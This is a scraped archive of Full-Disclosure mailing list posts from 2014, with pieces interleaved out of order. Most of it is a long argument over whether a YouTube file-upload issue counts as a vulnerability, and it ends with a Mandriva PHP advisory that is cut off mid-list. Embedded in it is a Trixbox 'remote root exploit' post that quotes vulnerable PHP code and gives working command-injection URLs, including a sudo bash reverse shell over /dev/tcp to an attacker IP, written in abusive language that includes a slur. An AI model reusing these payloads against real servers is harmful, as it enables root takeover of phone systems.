 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has to do with anything here. Why is
 arbitrary file upload to youtube CDN any worse than to google drive CDN?
 And how will your self-executing encrypted virus like Cryptolocker
 end up getting executed anyways? And cryptolocker was definitely not
 self-executing, but spread via email attachments (excluding the boring
 USB spread functionality).

 What you have here is not a vulnerability, just give up. And stop trying
 to get journalists like Eduard Kovacs to spread your BS.

 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow
 uploads of certain file types for security reasons, and let's assume at the
 application layer. If we manage to get past the security controls, that
 means  we can write unrestrictedly any type of file to the remote network.
 That also means that we get past their firewall, since the communication is
 through HTTP (port 80). CDN nodes are deployed to multiple colocation
 (thousands of nodes and thousands of servers across the world). The files
 (let's say a self-executing encrypted virus like Cryptolocker? ) are cached
 deeply in the network across thousands of servers.


 On Thu, Mar 13, 2014 at 5:07 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may 
 disallow
 uploads of certain file types for security reasons, and let's assume at 
 the

[Full-disclosure] Trixbox all versions , Remote root exploit

2014-03-14 Thread 0u7 5m4r7

# App : Trixbox all versions
# vendor : trixbox.com
# Author : i-Hmx
# mail : n0p1...@gmail.com
# Home : security arrays inc , sec4ever.com ,exploit4arab.net

Well well well , we decided to give schmoozecom a break and have a look @
fonality products
do you think they have better product than the (Award winning) trixbox!!!
I don't think so
Designed and marketed for Fonality's partner community, trixbox Pro is an
IP-PBX software solution purpose built to support growing SMB businesses.
A unique hybrid hosted telephony solution; trixbox Pro provides big
business features at an SMB cost . . blah blah blah
What do we have here??
A 3 years old Sql injection flaw???
not big deal , and already been reported
not enough good exploitation , but reported
A file disclosure flaw???
save it for later
let's give Fonality little Remote root Exploit xD
and also give the Predictors some pain in the ass trying to exploit this
consider it as challenge ;)
Here we go
Vulnerable file :
/var/www/html/maint/modules/endpointcfg/endpoint_aastra.php
Pice of shit , sorry i mean code

switch($_action) {
case 'Edit':
if ($_REQUEST['newmac']){ // create a new phone from device map
$mac_address = $_REQUEST['newmac'];
}
if ($_REQUEST['mac']){
$phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType);
$mac_address=$phoneinfo['mac_address'];} // if there is a
request ID we Edit otherwise add a new phone

$freepbx_device_list = GetFreepbxDeviceList();
$smarty-assign(mac_address, $mac_address);
$smarty-assign(phone, $phoneinfo);
$smarty-assign(freepbx_device_list, $freepbx_device_list);

$smarty-assign(message, $message);
$template = endpoint_.$PhoneType._edit.tpl;
break;

case 'Delete':
exec(rm .$sipdir.$_REQUEST['mac']..cfg);
getSQL(DELETE FROM .$PhoneType. WHERE
mac_address='.$_REQUEST['mac'].','endpoints');
$smarty-assign(phones, ListPhones($PhoneType));
$template = endpoint_.$PhoneType._list.tpl;
break;

it's obvious we care about this line
exec(rm .$sipdir.$_REQUEST['mac']..cfg);
Exploitation demo :
maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;echo
idxx;faris
result will be written to xx
but this is not the full movie yet ,
Am here to give fonality an night mare , which take the form of root
privzz
actually the server is configured by default to allow the web interface
pages to edit many files @ the root directory
so any noob can easily execute the sudo fuck with out being permited for
password , and the result is  root
Demo
Back connection with root privs
maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;sudo
bash -i %26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0%261;faris
change to your ip and the port you are listening to
and , Volia , you are root
now am sure you're happy as pig in shit xD
Still need more??
you will notice that you're unable to reach this file due to the http
firewall
but actually there is simple and yet dirty trick that allow you to get pass
through it , and execute your command smothely as boat on the river ;)
And here come the challenge , let's see what the faggots can do with this ;)
need hint???
use your mind and fuck off :/

Big greets fly to the all sec4ever family
oh , and for voip lames , you can use our 0Days for sure
but once it become 720Days xD
Regards,
Faris the Awsome
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

You're still missing the attack vector (and the point of the discussion
too, but that's painfully obvious).

On Fri, Mar 14, 2014 at 4:21 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

Here's my evidence.

Live Proof Of Concept
==

http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

The above proof of concept demonstrates :

On Fri, Mar 14, 2014 at 2:40 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

Are you a Google employee...I wonder?

There is nothing else to be said regarding this. Our research for remote
code execution continues and will let you and Google know once that is
confirmed; through the coordinated security program.

And please OWASP, is recognised worldwide.

Best Regards,
Nicholas Lemonias

On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki
julius.kivim...@gmail.com wrote:

2014-03-13 21:48 GMT+02:00 Nicholas Lemonias.
lem.niko...@googlemail.com:

Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
you may, or may not be qualified to question amazes. But everyone's opinion
is of course respected.

As for the exploitability of this vulnerability, you will never know
until you try. And we have tried it , and seem to know better.

I suggest you read the report again.

Thank you.

Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
you may, or may not be qualified to question amazes. But everyone's opinion
is of course respected.

As for the exploitability of this vulnerability, you will never know
until you

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Pedro Ribeiro

On 13 Mar 2014 14:30, Nicholas Lemonias. lem.niko...@googlemail.com
wrote:

 I suggest you to read on Content Delivery Network Architectures .

  YouTube.com populates and distributes stored files to multiple servers
 through a CDN (Content Delivery Architecture), where each video uses more
 than one machine (hosted by a cluster). Less populated video files are
 normally stored in various colocation sites. The YouTube architecture uses
 databases for storing metadata information of all uploaded files.

 https://www.owasp.org/index.php/Unrestricted_File_Upload


Being a CDN means it is very hard to find out where your file went.

I agree with was said on this thread by other people.

As an external penetration testing consultant, I would put this on a client
report as a low risk finding / possible vulnerability and recommend it to
be fixed.

As an internal vulnerability manager I would push the developers to fix it,
but I would give it a low priority and only real press then once all the
higher priority ones have been fixed.

However in the real world it is not a vulnerability, and don't expect
Google to pay you for it.

Regards
Pedro
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

But do you have all the required EH certifications? Try this one from the
Institute for
Certified Application Security Specialists: http://www.asscert.com/


On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including Microsoft,
 Nokia, Adobe and some of the world's biggest corporations. We are also
 strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/




 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the

Re: [Full-disclosure] Google vulnerabilities with PoC

We are on a different level perhaps. We do certainly disagree on those
points.
I wouldn't hire you as a consultant, if you can't tell if that is a valid
vulnerability..


Best Regards,
Nicholas Lemonias.

On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from the
 Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and
 unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/




 ___

Re: [Full-disclosure] Google vulnerabilities with PoC



Nicholas Lemonias. wrote:
 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits multiple
 file uploads of any file/types, if the Google security team feels that this
 would be necessary. This is unpaid work, so we are not so keen on that job.

LOL you mean 1, maybe 2 hours, you need to write (and test) a
Ruby/Python script.
I don't know your hourly rate, but wouldn't that be like 200$? Is that
really worth?

Also, the point that this 'bug' counts as a valid finding when you do
pentests, well it's a long story.
If you see reports from the big4 companies, you can always notice info
findings as in TRACE enabled
(you can't 'exploit' that through XHR from years anyways), but simply
you wouldn't expect Google to pay you
for such a bug. Same with this bug.

Cheers
antisnatchor



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
 Nicholas,

 I remember my early years in the infosec community - and sadly, so do
 some of the more seasoned readers of this list :-) Back then, I
 thought that the only thing that mattered is the ability to find bugs.
 But after some 18 years in the industry, I now know that there's an
 even more important and elusive skill.

 That skill boils down to having a robust mental model of what
 constitutes a security flaw - and being able to explain your thinking
 to others in a precise and internally consistent manner that convinces
 others to act. We need this because the security of a system can't be
 usefully described using abstract terms: even the academic definitions
 ultimately boil down to saying the system is secure if it doesn't do
 the things we *really* don't want it to do.

 In this spirit, the term vulnerability is generally reserved for
 behaviors that meet all of the following criteria:

 1) The behavior must have negative consequences for at least one of
 the legitimate stakeholders (users, service owners, etc),

 2) The consequences must be widely seen as unexpected and unacceptable,

 3) There must be a realistic chance of such a negative outcome,

 4) The behavior must introduce substantial new risks that go beyond
 the previously accepted trade-offs.

 If we don't have that, we usually don't have a case, no matter how
 clever the bug is.

 Cheers (and happy hunting!),
 /mz

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

-- 
Cheers
Michele

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

Jerome of Mcafee has made a very valid point on revisiting  separation of
duties in this security instance.

Happy to see more professionals with some skills.  Some others have also
mentioned the feasibility for Denial of Service attacks. Remote code
execution by Social Engineering is also a prominent scenario.

If you can't tell that that is a vulnerability (probably coming from a
bunch of CEH's), I feel sorry for those consultants.

Nicholas.


On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from the
 Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
 bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that
 convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic
 definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and
 unacceptable,
 
  3) There must be a realistic

Re: [Full-disclosure] Google vulnerabilities with PoC

Live Proof Of Concept
==
http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

The above proof of concept demonstrates :

So that is a proof that the data are persistent.

On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

We are on a different level perhaps. We do certainly disagree on those
points.
I wouldn't hire you as a consultant, if you can't tell if that is a valid
vulnerability..

Best Regards,
Nicholas Lemonias.

On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

But do you have all the required EH certifications? Try this one from
the Institute for
Certified Application Security Specialists: http://www.asscert.com/

On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

Thanks Michal,

We are just trying to improve Google's security and contribute to the
research community after all. If you are still on EFNet give me a shout
some time.

We have done so and consulted to hundreds of clients including
Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
are also strict supporters of the ACM code of conduct.

Regards,
Nicholas Lemonias.
AISec

On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

Hi Jerome,

Thank you for agreeing on access control, and separation of duties.

However successful exploitation permits arbitrary write() of any file
of choice.

I could release an exploit code in C Sharp or Python that permits
multiple file uploads of any file/types, if the Google security team feels
that this would be necessary. This is unpaid work, so we are not so keen
on
that job.

On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.com
wrote:

I concur that we are mainly discussing a terminology problem.

In the context of a Penetration Test or WAPT, this is a Finding.
Reporting this finding makes sense in this context.

As a professional, you would have to explain if/how this finding is a
Weakness*, a Violation (/Regulations, Compliance, Policies or
Requirements[1])
* I would say Weakness + Exposure = Vulnerability. Vulnerability +
Exploitability (PoC) = Confirmed Vulnerability that needs Business
Impact and Risk Analysis

So I would probably have reported this Finding as a Weakness (and not
Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
Best Practice (your OWASP link and Cheat Sheets), and even if
mitigative/compensative security controls (Ref Orange Book), security
controls like white listing (or at least black listing. see also
ESAPI) should be 1) part of the [1]security requirements of a proper
SDLC (Build security in) as per Defense-in-Depth security principles
and 2) used and implemented correctly.
NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
support to your report
This would help to evaluate/measure the risk (e.g. CVSS).
Helping the decision/actions around this risk

PS: interestingly, in this case, I'm not sure that the Separation of
Duties security principle was applied correctly by Google in term of
Risk Acceptance (which could be another Finding)

So in few words, be careful with the terminology. (don't always say
vulnerability like the media say hacker, see RFC1392) Use a CWE ID
(e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

My 2 bitcents
Sorry if it is not edible :)
Happy Hacking!

[Full-disclosure] [ MDVSA-2014:059 ] php

2014-03-14 Thread security

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

 ___

 Mandriva Linux Security Advisory MDVSA-2014:059
 http://www.mandriva.com/en/support/security/
 ___

 Package : php
 Date: March 14, 2014
 Affected: Business Server 1.0
 ___

 Problem Description:

 Multiple vulnerabilities has been discovered and corrected in php:
 
 Fixed bug #66731 (file: infinite recursion (CVE-2014-1943)).
 
 Fixed bug #66820 (out-of-bounds memory access in fileinfo
 (CVE-2014-2270)).
 
 Fixed bug #66815 (imagecrop(): insufficient fix for NULL defer
 (CVE-2013-7327)).
 
 The updated php packages have been upgraded to the 5.5.10 version
 which is not vulnerable to these issues.
 
 The php-xdebug packages has been upgraded to the latest 2.2.4 version
 that resolves numerous upstream bugs.
 
 Additionally, the PECL packages which requires so has been rebuilt
 for php-5.5.10.
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1943
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2270
 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7327
 http://www.php.net/ChangeLog-5.php#5.5.10
 https://bugs.php.net/bug.php?id=66731
 https://bugs.php.net/bug.php?id=66820
 https://bugs.php.net/bug.php?id=66815
 http://pecl.php.net/package-changelog.php?package=xdebugrelease=2.2.4
 ___

 Updated Packages:

 Mandriva Business Server 1/X86_64:
 24737449ee336d5e9824e2f2ae543292  
mbs1/x86_64/apache-mod_php-5.5.10-1.1.mbs1.x86_64.rpm
 0b922c54fa9223fecc8d35a5c7c8599e  
mbs1/x86_64/lib64php5_common5-5.5.10-1.1.mbs1.x86_64.rpm
 7ee561479c57d59fd98a5501e9586500  
mbs1/x86_64/php-apc-3.1.15-1.4.mbs1.x86_64.rpm
 eb7de5759296f86517f5edfd9d4436ca  
mbs1/x86_64/php-apc-admin-3.1.15-1.4.mbs1.x86_64.rpm
 a1d9c94696da01a54ef8fdc514e87eeb  
mbs1/x86_64/php-bcmath-5.5.10-1.1.mbs1.x86_64.rpm
 1b2cd506955bff2be731071a094c722f  
mbs1/x86_64/php-bz2-5.5.10-1.1.mbs1.x86_64.rpm
 8960e53771c38895428275376133ad80  
mbs1/x86_64/php-calendar-5.5.10-1.1.mbs1.x86_64.rpm
 76ae075f4cb8bbd735289a6c1d06fd7a  
mbs1/x86_64/php-cgi-5.5.10-1.1.mbs1.x86_64.rpm
 12b695df15e1f8cb7b0a4dfe6c9aa088  
mbs1/x86_64/php-cli-5.5.10-1.1.mbs1.x86_64.rpm
 f8f5f6b8ed7afaffe4893ee713198f96  
mbs1/x86_64/php-ctype-5.5.10-1.1.mbs1.x86_64.rpm
 1950d33f015eefc8014070526758ee8e  
mbs1/x86_64/php-curl-5.5.10-1.1.mbs1.x86_64.rpm
 9497d5da046377151644e93733cb074e  
mbs1/x86_64/php-dba-5.5.10-1.1.mbs1.x86_64.rpm
 ac662e5ef7059d81cccb62c7bbe97901  
mbs1/x86_64/php-devel-5.5.10-1.1.mbs1.x86_64.rpm
 87a743ba4947af120c24da6115c7e6db  
mbs1/x86_64/php-doc-5.5.10-1.1.mbs1.noarch.rpm
 b941027ff5051dc2811b4263f6bf20b1  
mbs1/x86_64/php-dom-5.5.10-1.1.mbs1.x86_64.rpm
 77c456007f9d6e330bfa514dc7e2c71c  
mbs1/x86_64/php-enchant-5.5.10-1.1.mbs1.x86_64.rpm
 e14bbbfe6cbd0027eb92f2de676bda2b  
mbs1/x86_64/php-exif-5.5.10-1.1.mbs1.x86_64.rpm
 016db3c40dafc614f69ed163870d0ba9  
mbs1/x86_64/php-fileinfo-5.5.10-1.1.mbs1.x86_64.rpm
 800722c1127bf7f835fed88d5805612a  
